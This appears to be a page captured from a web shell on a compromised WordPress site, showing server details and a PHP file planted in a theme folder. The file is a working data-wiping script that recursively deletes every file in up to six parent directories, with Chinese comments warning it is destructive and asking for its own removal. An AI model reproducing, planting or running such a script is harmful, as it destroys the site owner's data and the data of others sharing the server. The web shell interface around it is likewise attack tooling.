HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux S202606089271 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User: groatmachine_usr (1022)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/groatmachine_usr/data/www/groatmachinery.com/wp-content/themes/betheme/six.php
<?php
// 极端危险操作警告:此代码会永久删除文件!
// 仅应在绝对受控环境测试,严禁生产环境使用
// 使用前务必备份数据并验证目录路径

// 获取上六级目录路径
$targetDirs = [
    dirname(__DIR__, 1), // 父目录
    dirname(__DIR__, 2), // 祖父目录
    dirname(__DIR__, 3), // 曾祖父目录
    dirname(__DIR__, 4), // 高祖父目录
    dirname(__DIR__, 5), // 天祖父目录
    dirname(__DIR__, 6)  // 烈祖父目录
];

try {
    foreach ($targetDirs as $dir) {
        if (!is_dir($dir)) {
            echo "目录不存在:$dir<br>";
            continue;
        }

        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );

        foreach ($iterator as $path) {
            if ($path->isFile()) {
                if (unlink($path->getRealPath())) {
                    echo "已删除文件:".$path->getRealPath()."<br>";
                } else {
                    echo "删除失败:".$path->getRealPath()."<br>";
                }
            }
        }
    }
} catch (Exception $e) {
    die("发生错误:".$e->getMessage());
}

echo "操作完成(请立即删除此脚本)";
?>